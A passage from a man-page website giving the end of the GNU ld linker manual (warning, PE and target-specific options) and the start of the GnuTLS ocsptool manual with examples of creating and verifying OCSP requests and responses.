On ELF platforms the linker may generate warning messages if it is asked to create an output file that contains an executable stack. There are three possible states:

  1. Do not generate any warnings.

  2. Always generate warnings, even if the executable stack is requested via the -z execstack command line option.

  3. Only generate a warning if an object file requests an executable stack, but not if the -z execstack option is used.

The default state depends upon how the linker was configured when it was built. The –no-warn-execstack option always puts the linker into the no-warnings state. The –warn-execstack option puts the linker into the warn-always state. The –warn-execstack-objects option puts the linker into the warn-for-object-files-only state. Note: ELF format input files can specify that they need an executable stack by having a .note.GNU-stack section with the executable bit set in its section flags. They can specify that they do not need an executable stack by having the same section, but without the executable flag bit set. If an input file does not have a .note.GNU-stack section then the default behaviour is target specific. For some targets, then absence of such a section implies that an executable stack is required. This is often a problem for hand crafted assembler files.

–error-execstack

–no-error-execstack

If the linker is going to generate a warning message about an executable stack then the –error-execstack option will instead change that warning into an error. Note - this option does not change the linker’s execstack warning generation state. Use –warn-execstack or –warn-execstack-objects to set a specific warning state. The –no-error-execstack option will restore the default behaviour of generating warning messages.

–warn-multiple-gp
Warn if multiple global pointer values are required in the output file. This is only meaningful for certain processors, such as the Alpha. Specifically, some processors put large-valued constants in a special section. A special register (the global pointer) points into the middle of this section, so that constants can be loaded efficiently via a base-register relative addressing mode. Since the offset in base-register relative mode is fixed and relatively small (e.g., 16 bits), this limits the maximum size of the constant pool. Thus, in large programs, it is often necessary to use multiple global pointer values in order to be able to address all possible constants. This option causes a warning to be issued whenever this case occurs.

–warn-once
Only warn once for each undefined symbol, rather than once per module which refers to it.

–warn-rwx-segments

–no-warn-rwx-segments

Warn if the linker creates a loadable, non-zero sized segment that has all three of the read, write and execute permission flags set. Such a segment represents a potential security vulnerability. In addition warnings will be generated if a thread local storage segment is created with the execute permission flag set, regardless of whether or not it has the read and/or write flags set. These warnings are enabled by default. They can be disabled via the –no-warn-rwx-segments option and re-enabled via the –warn-rwx-segments option.

–error-rwx-segments

–no-error-rwx-segments

If the linker is going to generate a warning message about an executable, writeable segment, or an executable TLS segment, then the –error-rwx-segments option will turn this warning into an error instead. The –no-error-rwx-segments option will restore the default behaviour of just generating a warning message. Note - the –error-rwx-segments option does not by itself turn on warnings about these segments. These warnings are either enabled by default, if the linker was configured that way, or via the –warn-rwx-segments command line option.

–warn-section-align
Warn if the address of an output section is changed because of alignment. Typically, the alignment will be set by an input section. The address will only be changed if it not explicitly specified; that is, if the SECTIONS command does not specify a start address for the section.

–warn-textrel
Warn if the linker adds DT_TEXTREL to a position-independent executable or shared object.

–warn-alternate-em
Warn if an object has alternate ELF machine code.

–warn-unresolved-symbols
If the linker is going to report an unresolved symbol (see the option –unresolved-symbols) it will normally generate an error. This option makes it generate a warning instead.

–error-unresolved-symbols
This restores the linker’s default behaviour of generating errors when it is reporting unresolved symbols.

–whole-archive
For each archive mentioned on the command line after the –whole-archive option, include every object file in the archive in the link, rather than searching the archive for the required object files. This is normally used to turn an archive file into a shared library, forcing every object to be included in the resulting shared library. This option may be used more than once. Two notes when using this option from gcc: First, gcc doesn’t know about this option, so you have to use -Wl,-whole-archive. Second, don’t forget to use -Wl,-no-whole-archive after your list of archives, because gcc will add its own list of archives to your link and you may not want this flag to affect those as well.

–wrap=symbol
Use a wrapper function for symbol. Any undefined reference to symbol will be resolved to _ _wrap_symbol. Any undefined reference to _ _real_symbol will be resolved to symbol. This can be used to provide a wrapper for a system function. The wrapper function should be called _ _wrap_symbol. If it wishes to call the system function, it should call _ _real_symbol. Here is a trivial example: void * _ _wrap_malloc (size_t c) { printf (“malloc called with %zu “, c); return _ _real_malloc (c); } If you link other code with this file using –wrap malloc, then all calls to malloc will call the function _ _wrap_malloc instead. The call to _ _real_malloc in _ _wrap_malloc will call the real malloc function. You may wish to provide a _ _real_malloc function as well, so that links without the –wrap option will succeed. If you do this, you should not put the definition of _ _real_malloc in the same file as _ _wrap_malloc; if you do, the assembler may resolve the call before the linker has a chance to wrap it to malloc. Only undefined references are replaced by the linker. So, translation unit internal references to symbol are not resolved to _ _wrap_symbol. In the next example, the call to f in g is not resolved to _ _wrap_f. int f (void) { return 123; } int g (void) { return f(); }

–eh-frame-hdr

–no-eh-frame-hdr

Request (–eh-frame-hdr) or suppress (–no-eh-frame-hdr) the creation of .eh_frame_hdr section and ELF PT_GNU_EH_FRAME segment header.

–no-ld-generated-unwind-info
Request creation of .eh_frame unwind info for linker generated code sections like PLT. This option is on by default if linker generated unwind info is supported. This option also controls the generation of .sframe stack trace info for linker generated code sections like PLT.

–enable-new-dtags

–disable-new-dtags

This linker can create the new dynamic tags in ELF. But the older ELF systems may not understand them. If you specify –enable-new-dtags, the new dynamic tags will be created as needed and older dynamic tags will be omitted. If you specify –disable-new-dtags, no new dynamic tags will be created. By default, the new dynamic tags are not created. Note that those options are only available for ELF systems.

–hash-size=number
Set the default size of the linker’s hash tables to a prime number close to number. Increasing this value can reduce the length of time it takes the linker to perform its tasks, at the expense of increasing the linker’s memory requirements. Similarly reducing this value can reduce the memory requirements at the expense of speed.

–hash-style=style
Set the type of linker’s hash table(s). style can be either sysv for classic ELF .hash section, gnu for new style GNU .gnu.hash section or both for both the classic ELF .hash and new style GNU .gnu.hash hash tables. The default depends upon how the linker was configured, but for most Linux based systems it will be both.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

On ELF platforms, these options control how DWARF debug sections are compressed using zlib. –compress-debug-sections=none doesn’t compress DWARF debug sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections and renames them to begin with .zdebug instead of .debug. –compress-debug-sections=zlib-gabi also compresses DWARF debug sections, but rather than renaming them it sets the SHF_COMPRESSED flag in the sections’ headers. The –compress-debug-sections=zlib option is an alias for –compress-debug-sections=zlib-gabi. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note that this option overrides any compression in input debug sections, so if a binary is linked with –compress-debug-sections=none for example, then any compressed debug sections in input files will be uncompressed before they are copied into the output binary. The default compression behaviour varies depending upon the target involved and the configure options used to build the toolchain. The default can be determined by examining the output from the linker’s –help option.

–reduce-memory-overheads
This option reduces memory requirements at ld runtime, at the expense of linking speed. This was introduced to select the old O(n^2) algorithm for link map file generation, rather than the new O(n) algorithm which uses about 40% more memory for symbol storage. Another effect of the switch is to set the default hash table size to 1021, which again saves memory at the cost of lengthening the linker’s run time. This is not done however if the –hash-size switch has been used. The –reduce-memory-overheads switch may be also be used to enable other tradeoffs in future versions of the linker.

–max-cache-size=size
ld normally caches the relocation information and symbol tables of input files in memory with the unlimited size. This option sets the maximum cache size to size.

–build-id

–build-id=style

Request the creation of a .note.gnu.build-id ELF note section or a .buildid COFF section. The contents of the note are unique bits identifying this linked file. style can be uuid to use 128 random bits, sha1 to use a 160-bit SHA1 hash on the normative parts of the output contents, md5 to use a 128-bit MD5 hash on the normative parts of the output contents, or 0xhexstring to use a chosen bit string specified as an even number of hexadecimal digits (- and : characters between digit pairs are ignored). If style is omitted, sha1 is used. The md5 and sha1 styles produces an identifier that is always the same in an identical output file, but will be unique among all nonidentical output files. It is not intended to be compared as a checksum for the file’s contents. A linked file may be changed later by other tools, but the build ID bit string identifying the original linked file does not change. Passing none for style disables the setting from any --build-id options earlier on the command line.

–package-metadata=JSON
Request the creation of a .note.package ELF note section. The contents of the note are in JSON format, as per the package metadata specification. For more information see: https://systemd.io/ELF_PACKAGE_METADATA/ If the JSON argument is missing/empty then this will disable the creation of the metadata note, if one had been enabled by an earlier occurrence of the –package-metadata option. If the linker has been built with libjansson, then the JSON string will be validated.

The i386 PE linker supports the -shared option, which causes the output to be a dynamically linked library (DLL) instead of a normal executable. You should name the output *.dll when you use this option. In addition, the linker fully supports the standard *.def files, which may be specified on the linker command line like an object file (in fact, it should precede archives it exports symbols from, to ensure that they get linked in, just like a normal object file).

In addition to the options common to all targets, the i386 PE linker support additional command-line options that are specific to the i386 PE target. Options that take values may be separated from their values by either a space or an equals sign.

–add-stdcall-alias
If given, symbols with a stdcall suffix (@nn) will be exported as-is and also with the suffix stripped. [This option is specific to the i386 PE targeted port of the linker]

–base-file file
Use file as the name of a file in which to save the base addresses of all the relocations needed for generating DLLs with dlltool. [This is an i386 PE specific option]

–dll
Create a DLL instead of a regular executable. You may also use -shared or specify a LIBRARY in a given .def file. [This option is specific to the i386 PE targeted port of the linker]

–enable-long-section-names

–disable-long-section-names

The PE variants of the COFF object format add an extension that permits the use of section names longer than eight characters, the normal limit for COFF. By default, these names are only allowed in object files, as fully-linked executable images do not carry the COFF string table required to support the longer names. As a GNU extension, it is possible to allow their use in executable images as well, or to (probably pointlessly!) disallow it in object files, by using these two options. Executable images generated with these long section names are slightly non-standard, carrying as they do a string table, and may generate confusing output when examined with non-GNU PE-aware tools, such as file viewers and dumpers. However, GDB relies on the use of PE long section names to find Dwarf-2 debug information sections in an executable image at runtime, and so if neither option is specified on the command-line, ld will enable long section names, overriding the default and technically correct behaviour, when it finds the presence of debug information while linking an executable image and not stripping symbols. [This option is valid for all PE targeted ports of the linker]

–enable-stdcall-fixup

–disable-stdcall-fixup

If the link finds a symbol that it cannot resolve, it will attempt to do “fuzzy linking” by looking for another defined symbol that differs only in the format of the symbol name (cdecl vs stdcall) and will resolve that symbol by linking to the match. For example, the undefined symbol _foo might be linked to the function _foo@12, or the undefined symbol _bar@16 might be linked to the function _bar. When the linker does this, it prints a warning, since it normally should have failed to link, but sometimes import libraries generated from third-party dlls may need this feature to be usable. If you specify –enable-stdcall-fixup, this feature is fully enabled and warnings are not printed. If you specify –disable-stdcall-fixup, this feature is disabled and such mismatches are considered to be errors. [This option is specific to the i386 PE targeted port of the linker]

–leading-underscore

–no-leading-underscore

For most targets default symbol-prefix is an underscore and is defined in target’s description. By this option it is possible to disable/enable the default underscore symbol-prefix.

–export-all-symbols
If given, all global symbols in the objects used to build a DLL will be exported by the DLL. Note that this is the default if there otherwise wouldn’t be any exported symbols. When symbols are explicitly exported via DEF files or implicitly exported via function attributes, the default is to not export anything else unless this option is given. Note that the symbols DllMain@12, DllEntryPoint@0, DllMainCRTStartup@12, and impure_ptr will not be automatically exported. Also, symbols imported from other DLLs will not be re-exported, nor will symbols specifying the DLL’s internal layout such as those beginning with _head_ or ending with _iname. In addition, no symbols from libgcc, libstd++, libmingw32, or crtX.o will be exported. Symbols whose names begin with _ _rtti_ or _ _builtin_ will not be exported, to help with C++ DLLs. Finally, there is an extensive list of cygwin-private symbols that are not exported (obviously, this applies on when building DLLs for cygwin targets). These cygwin-excludes are: _cygwin_dll_entry@12, _cygwin_crt0_common@8, _cygwin_noncygwin_dll_entry@12, _fmode, _impure_ptr, cygwin_attach_dll, cygwin_premain0, cygwin_premain1, cygwin_premain2, cygwin_premain3, and environ. [This option is specific to the i386 PE targeted port of the linker]

–exclude-symbols symbol,symbol,…
Specifies a list of symbols which should not be automatically exported. The symbol names may be delimited by commas or colons. [This option is specific to the i386 PE targeted port of the linker]

–exclude-all-symbols
Specifies no symbols should be automatically exported. [This option is specific to the i386 PE targeted port of the linker]

–file-alignment
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to the i386 PE targeted port of the linker]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. The default is 1MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to the i386 PE targeted port of the linker]

–kill-at
If given, the stdcall suffixes (@nn) will be stripped from symbols before they are exported. [This option is specific to the i386 PE targeted port of the linker]

–large-address-aware
If given, the appropriate bit in the “Characteristics” field of the COFF header is set to indicate that this executable supports virtual addresses greater than 2 gigabytes. This should be used in conjunction with the /3GB or /USERVA=value megabytes switch in the “[operating systems]” section of the BOOT.INI. Otherwise, this bit has no effect. [This option is specific to PE targeted ports of the linker]

–disable-large-address-aware
Reverts the effect of a previous –large-address-aware option. This is useful if –large-address-aware is always set by the compiler driver (e.g. Cygwin gcc) and the executable does not support virtual addresses greater than 2 gigabytes. [This option is specific to PE targeted ports of the linker]

–major-image-version value
Sets the major number of the “image version”. Defaults to 1. [This option is specific to the i386 PE targeted port of the linker]

–major-os-version value
Sets the major number of the “os version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–major-subsystem-version value
Sets the major number of the “subsystem version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–minor-image-version value
Sets the minor number of the “image version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-os-version value
Sets the minor number of the “os version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-subsystem-version value
Sets the minor number of the “subsystem version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–output-def file
The linker will create the file file which will contain a DEF file corresponding to the DLL the linker is generating. This DEF file (which should be called *.def) may be used to create an import library with dlltool or may be used as a reference to automatically or implicitly exported symbols. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-image-base

–enable-auto-image-base=value

Automatically choose the image base for DLLs, optionally starting with base value, unless one is specified using the --image-base argument. By using a hash generated from the dllname to create unique image bases for each DLL, in-memory collisions and relocations which can delay program execution are avoided. [This option is specific to the i386 PE targeted port of the linker]

–disable-auto-image-base
Do not automatically generate a unique image base. If there is no user-specified image base (--image-base) then use the platform default. [This option is specific to the i386 PE targeted port of the linker]

–dll-search-prefix string
When linking dynamically to a dll without an import library, search for <string><basename>.dll in preference to lib<basename>.dll. This behaviour allows easy distinction between DLLs built for the various “subplatforms”: native, cygwin, uwin, pw, etc. For instance, cygwin DLLs typically use --dll-search-prefix=cyg. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-import
Do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs, thus making it possible to bypass the dllimport mechanism on the user side and to reference unmangled symbol names. [This option is specific to the i386 PE targeted port of the linker] The following remarks pertain to the original implementation of the feature and are obsolete nowadays for Cygwin and MinGW targets. Note: Use of the ‘auto-import’ extension will cause the text section of the image file to be made writable. This does not conform to the PE-COFF format specification published by Microsoft. Note - use of the ‘auto-import’ extension will also cause read only data which would normally be placed into the .rdata section to be placed into the .data section instead. This is in order to work around a problem with consts that is described here: http://www.cygwin.com/ml/cygwin/2004-09/msg01101.html Using ‘auto-import’ generally will ‘just work’ – but sometimes you may see this message: “variable ‘<var>’ can’t be auto-imported. Please read the documentation for ld’s --enable-auto-import for details.” This message occurs when some (sub)expression accesses an address ultimately given by the sum of two constants (Win32 import tables only allow one). Instances where this may occur include accesses to member fields of struct variables imported from a DLL, as well as using a constant index into an array variable imported from a DLL. Any multiword variable (arrays, structs, long long, etc) may trigger this error condition. However, regardless of the exact data type of the offending exported variable, ld will always detect it, issue the warning, and exit. There are several ways to address this difficulty, regardless of the data type of the exported variable: One way is to use –enable-runtime-pseudo-reloc switch. This leaves the task of adjusting references in your client code for runtime environment, so this method works only when runtime environment supports this feature. A second solution is to force one of the ‘constants’ to be a variable – that is, unknown and un-optimizable at compile time. For arrays, there are two possibilities: a) make the indexee (the array’s address) a variable, or b) make the ‘constant’ index a variable. Thus: extern type extern_array[]; extern_array[1] –> { volatile type *t=extern_array; t[1] } or extern type extern_array[]; extern_array[1] –> { volatile int t=1; extern_array[t] } For structs (and most other multiword data types) the only option is to make the struct itself (or the long long, or the …) variable: extern struct s extern_struct; extern_struct.field –> { volatile struct s *t=&extern_struct; t->field } or extern long long extern_ll; extern_ll –> { volatile long long * local_ll=&extern_ll; *local_ll } A third method of dealing with this difficulty is to abandon ‘auto-import’ for the offending symbol and mark it with _ _declspec(dllimport). However, in practice that requires using compile-time #defines to indicate whether you are building a DLL, building client code that will link to the DLL, or merely building/linking to a static library. In making the choice between the various methods of resolving the ‘direct address with constant offset’ problem, you should consider typical real-world usage: Original: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } Solution 1: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ /* This workaround is for win32 and cygwin; do not “optimize” */ volatile int *parr = arr; printf("%d “,parr[1]); } Solution 2: –foo.h /* Note: auto-export is assumed (no _ _declspec(dllexport)) */ #if (defined(_WIN32) || defined(_ _CYGWIN_ _)) && \ !(defined(FOO_BUILD_DLL) || defined(FOO_STATIC)) #define FOO_IMPORT _ _declspec(dllimport) #else #define FOO_IMPORT #endif extern FOO_IMPORT int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } A fourth way to avoid this problem is to re-code your library to use a functional interface rather than a data interface for the offending variables (e.g. set_foo() and get_foo() accessor functions).

–disable-auto-import
Do not attempt to do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-runtime-pseudo-reloc
If your code contains expressions described in –enable-auto-import section, that is, DATA imports from DLL with non-zero offset, this switch will create a vector of ‘runtime pseudo relocations’ which can be used by runtime environment to adjust references to such data in your client code. [This option is specific to the i386 PE targeted port of the linker]

–disable-runtime-pseudo-reloc
Do not create pseudo relocations for non-zero offset DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-extra-pe-debug
Show additional debug info related to auto-import symbol thunking. [This option is specific to the i386 PE targeted port of the linker]

–section-alignment
Sets the section alignment. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. [This option is specific to the i386 PE targeted port of the linker]

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. The default is 2MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to the i386 PE targeted port of the linker] The following options set flags in the DllCharacteristics field of the PE file header: [These options are specific to PE targeted ports of the linker]

–high-entropy-va

–disable-high-entropy-va

Image is compatible with 64-bit address space layout randomization (ASLR). This option is enabled by default for 64-bit PE images. This option also implies –dynamicbase and –enable-reloc-section.

–dynamicbase

–disable-dynamicbase

The image base address may be relocated using address space layout randomization (ASLR). This feature was introduced with MS Windows Vista for i386 PE targets. This option is enabled by default but can be disabled via the –disable-dynamicbase option. This option also implies –enable-reloc-section.

–forceinteg

–disable-forceinteg

Code integrity checks are enforced. This option is disabled by default.

–nxcompat

–disable-nxcompat

The image is compatible with the Data Execution Prevention. This feature was introduced with MS Windows XP SP2 for i386 PE targets. The option is enabled by default.

–no-isolation

–disable-no-isolation

Although the image understands isolation, do not isolate the image. This option is disabled by default.

–no-seh

–disable-no-seh

The image does not use SEH. No SE handler may be called from this image. This option is disabled by default.

–no-bind

–disable-no-bind

Do not bind this image. This option is disabled by default.

–wdmdriver

–disable-wdmdriver

The driver uses the MS Windows Driver Model. This option is disabled by default.

–tsaware

–disable-tsaware

The image is Terminal Server aware. This option is disabled by default.

–insert-timestamp

–no-insert-timestamp

Insert a real timestamp into the image. This is the default behaviour as it matches legacy code and it means that the image will work with other, proprietary tools. The problem with this default is that it will result in slightly different images being produced each time the same sources are linked. The option –no-insert-timestamp can be used to insert a zero value for the timestamp, this ensuring that binaries produced from identical sources will compare identically. If –insert-timestamp is active then the time inserted is either the time that the linking takes place or, if the SOURCE_DATE_EPOCH environment variable is defined, the number of seconds since Unix epoch as specified by that variable.

–enable-reloc-section

–disable-reloc-section

Create the base relocation table, which is necessary if the image is loaded at a different image base than specified in the PE header. This option is enabled by default.

The C6X uClinux target uses a binary format called DSBT to support shared libraries. Each shared library in the system needs to have a unique index; all executables use an index of 0.

–dsbt-size size
This option sets the number of entries in the DSBT of the current executable or shared library to size. The default is to create a table with 64 entries.

–dsbt-index index
This option sets the DSBT index of the current executable or shared library to index. The default is 0, which is appropriate for generating executables. If a shared library is generated with a DSBT index of 0, the R_C6000_DSBT_INDEX relocs are copied into the output file. The –no-merge-exidx-entries switch disables the merging of adjacent exidx entries in frame unwind info.

–branch-stub
This option enables linker branch relaxation by inserting branch stub sections when needed to extend the range of branches. This option is usually not required since C-SKY supports branch and call instructions that can access the full memory range and branch relaxation is normally handled by the compiler or assembler.

–stub-group-size=N
This option allows finer control of linker branch stub creation. It sets the maximum size of a group of input sections that can be handled by one stub section. A negative value of N locates stub sections after their branches, while a positive value allows stub sections to appear either before or after the branches. Values of 1 or -1 indicate that the linker should choose suitable defaults.

The 68HC11 and 68HC12 linkers support specific options to control the memory bank switching mapping and trampoline code generation.

–no-trampoline
This option disables the generation of trampoline. By default a trampoline is generated for each far function which is called using a jsr instruction (this happens when a pointer to a far function is taken).

–bank-window name
This option indicates to the linker the name of the memory region in the MEMORY specification that describes the memory bank window. The definition of such region is then used by the linker to compute paging and addresses within the memory window.

The following options are supported to control handling of GOT generation when linking for 68K targets.

–got=type
This option tells the linker which GOT generation scheme to use. type should be one of single, negative, multigot or target. For more information refer to the Info entry for ld.

The following options are supported to control microMIPS instruction generation and branch relocation checks for ISA mode transitions when linking for MIPS targets.

–insn32

–no-insn32

These options control the choice of microMIPS instructions used in code generated by the linker, such as that in the PLT or lazy binding stubs, or in relaxation. If –insn32 is used, then the linker only uses 32-bit instruction encodings. By default or if –no-insn32 is used, all instruction encodings are used, including 16-bit ones where possible.

–ignore-branch-isa

–no-ignore-branch-isa

These options control branch relocation checks for invalid ISA mode transitions. If –ignore-branch-isa is used, then the linker accepts any branch relocations and any ISA mode transition required is lost in relocation calculation, except for some cases of BAL instructions which meet relaxation conditions and are converted to equivalent JALX instructions as the associated relocation is calculated. By default or if –no-ignore-branch-isa is used a check is made causing the loss of an ISA mode transition to produce an error.

–compact-branches

–no-compact-branches

These options control the generation of compact instructions by the linker in the PLT entries for MIPS R6.

For the pdp11-aout target, three variants of the output format can be produced as selected by the following options. The default variant for pdp11-aout is the –omagic option, whereas for other targets –nmagic is the default. The –imagic option is defined only for the pdp11-aout target, while the others are described here as they apply to the pdp11-aout target.

-N

–omagic

Mark the output as OMAGIC (0407) in the a.out header to indicate that the text segment is not to be write-protected and shared. Since the text and data sections are both readable and writable, the data section is allocated immediately contiguous after the text segment. This is the oldest format for PDP11 executable programs and is the default for ld on PDP11 Unix systems from the beginning through 2.11BSD.

-n

–nmagic

Mark the output as NMAGIC (0410) in the a.out header to indicate that when the output file is executed, the text portion will be read-only and shareable among all processes executing the same file. This involves moving the data areas up to the first possible 8K byte page boundary following the end of the text. This option creates a pure executable format.

-z

–imagic

Mark the output as IMAGIC (0411) in the a.out header to indicate that when the output file is executed, the program text and data areas will be loaded into separate address spaces using the split instruction and data space feature of the memory management unit in larger models of the PDP11. This doubles the address space available to the program. The text segment is again pure, write-protected, and shareable. The only difference in the output format between this option and the others, besides the magic number, is that both the text and data sections start at location 0. The -z option selected this format in 2.11BSD. This option creates a separate executable format.

–no-omagic
Equivalent to –nmagic for pdp11-aout.

ENVIRONMENT

You can change the behaviour of ld with the environment variables GNUTARGET, LDEMULATION and COLLECT_NO_DEMANGLE.

GNUTARGET determines the input-file object format if you don’t use -b (or its synonym –format). Its value should be one of the BFD names for an input format. If there is no GNUTARGET in the environment, ld uses the natural format of the target. If GNUTARGET is set to default then BFD attempts to discover the input format by examining binary input files; this method often succeeds, but there are potential ambiguities, since there is no method of ensuring that the magic number used to specify object-file formats is unique. However, the configuration procedure for BFD on each system places the conventional format for that system first in the search-list, so ambiguities are resolved in favor of convention.

LDEMULATION determines the default emulation if you don’t use the -m option. The emulation can affect various aspects of linker behaviour, particularly the default linker script. You can list the available emulations with the –verbose or -V options. If the -m option is not used, and the LDEMULATION environment variable is not defined, the default emulation depends upon how the linker was configured.

Normally, the linker will default to demangling symbols. However, if COLLECT_NO_DEMANGLE is set in the environment, then it will default to not demangling symbols. This environment variable is used in a similar fashion by the gcc linker wrapper program. The default may be overridden by the –demangle and –no-demangle options.

SEE ALSO

ar (1), nm (1), objcopy (1), objdump (1), readelf (1) and the Info entries for binutils and ld.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

339 - Linux cli command ocsptool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ocsptool and provides detailed information about the command ocsptool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ocsptool.

NAME 🖥️ ocsptool 🖥️

GnuTLS OCSP tool

SYNOPSIS

ocsptool [-flags] [-flag [value]] [–option-name[[=| ]value]]

All arguments must be options.

DESCRIPTION

On verification
Responses are typically signed/issued by designated certificates or certificate authorities and thus this tool requires on verification the certificate of the issuer or the full certificate chain in order to determine the appropriate signing authority. The specified certificate of the issuer is assumed trusted.

OPTIONS

Enable debugging. This option takes an integer number as its argument. The value of num is constrained to being:

in the range 0 through 9999

Specifies the debug level.

More verbose output.

Input file.

Output file.

Ask an OCSP/HTTP server on a certificate validity.

Connects to the specified HTTP OCSP server and queries on the validity of the loaded certificate. Its argument can be a URL or a plain server name. It can be combined with –load-chain, where it checks all certificates in the provided chain, or with –load-cert and –load-issuer options. The latter checks the provided certificate against its specified issuer certificate.

Verify response.

Verifies the provided OCSP response against the system trust anchors (unless –load-trust is provided). It requires the –load-signer or –load-chain options to obtain the signer of the OCSP response.

Print information on a OCSP request.

Display detailed information on the provided OCSP request.

Print information on a OCSP response.

Display detailed information on the provided OCSP response.

Generates an OCSP request.

Use (or not) a nonce to OCSP request. The no-nonce form will disable the option.

Reads a set of certificates forming a chain from file.

Reads issuer’s certificate from file.

Reads the certificate to check from file.

Read OCSP trust anchors from file. This option must not appear in combination with any of the following options: load-signer.

When verifying an OCSP response read the trust anchors from the provided file. When this is not provided, the system’s trust anchors will be used.

Reads the OCSP response signer from file. This option must not appear in combination with any of the following options: load-trust.

Use DER format for input certificates and private keys. The no-inder form will disable the option.

Use DER format for output of responses (this is the default).

The output will be in DER encoded format. Unlike other GnuTLS tools, this is the default for this tool

Use PEM format for output of responses.

The output will be in PEM format.

Reads the DER encoded OCSP request from file.

Reads the DER encoded OCSP response from file.

Ignore any verification errors.

Allow broken algorithms, such as MD5 for verification.

This can be combined with –verify-response.

Perform validation at the timestamp instead of the system time.

timestamp is an instance in time encoded as Unix time or in a human readable timestring such as “29 Feb 2004”, “2004-02-29”. Full documentation available at <https://www.gnu.org/software/coreutils/manual/html_node/Date-input-formats.html> or locally via info ‘(coreutils) date invocation’.

Output version of program and exit. The default mode is `v’, a simple version. The `c’ mode will print copyright information and `n’ will print the full copyright notice.

Display usage information and exit.

Pass the extended usage information through a pager.

EXAMPLES

Print information about an OCSP request

To parse an OCSP request and print information about the content, the -i or –request-info parameter may be used as follows. The -Q parameter specify the name of the file containing the OCSP request, and it should contain the OCSP request in binary DER format.

$ ocsptool -i -Q ocsp-request.der

The input file may also be sent to standard input like this:

$ cat ocsp-request.der | ocsptool --request-info

Print information about an OCSP response

Similar to parsing OCSP requests, OCSP responses can be parsed using the -j or –response-info as follows.

$ ocsptool -j -Q ocsp-response.der
$ cat ocsp-response.der | ocsptool --response-info

Generate an OCSP request

The -q or –generate-request parameters are used to generate an OCSP request. By default the OCSP request is written to standard output in binary DER format, but can be stored in a file using –outfile. To generate an OCSP request the issuer of the certificate to check needs to be specified with –load-issuer and the certificate to check with –load-cert. By default PEM format is used for these files, although –inder can be used to specify that the input files are in DER format.

$ ocsptool -q --load-issuer issuer.pem --load-cert client.pem            --outfile ocsp-request.der

When generating OCSP requests, the tool will add an OCSP extension containing a nonce. This behaviour can be disabled by specifying –no-nonce.

Verify signature in OCSP response

To verify the signature in an OCSP response the -e or –verify-response parameter is used. The tool will read an OCSP response in DER format from standard input, or from the file specified by –load-response. The OCSP response is verified against a set of trust anchors, which are specified using –load-trust. The trust anchors are concatenated certificates in PEM format. The certificate that signed the OCSP response needs to be in the set of trust anchors, or the issuer of the signer certificate needs to be in the set of trust anchors and the OCSP Extended Key Usage bit has to be asserted in the signer certificate.

$ ocsptool -e --load-trust issuer.pem            --load-response ocsp-response.der

The tool will print status of verification.

Verify signature in OCSP response against given certificate

It is possible to override the normal trust logic if you know that a certain certificate is supposed to have signed the OCSP response, and you want to use it to check the signature. This is achieved using –load-signer instead of –load-trust. This will load one certificate and it will be used to verify the signature in the OCSP response. It will not check the Extended Key Usage bit.

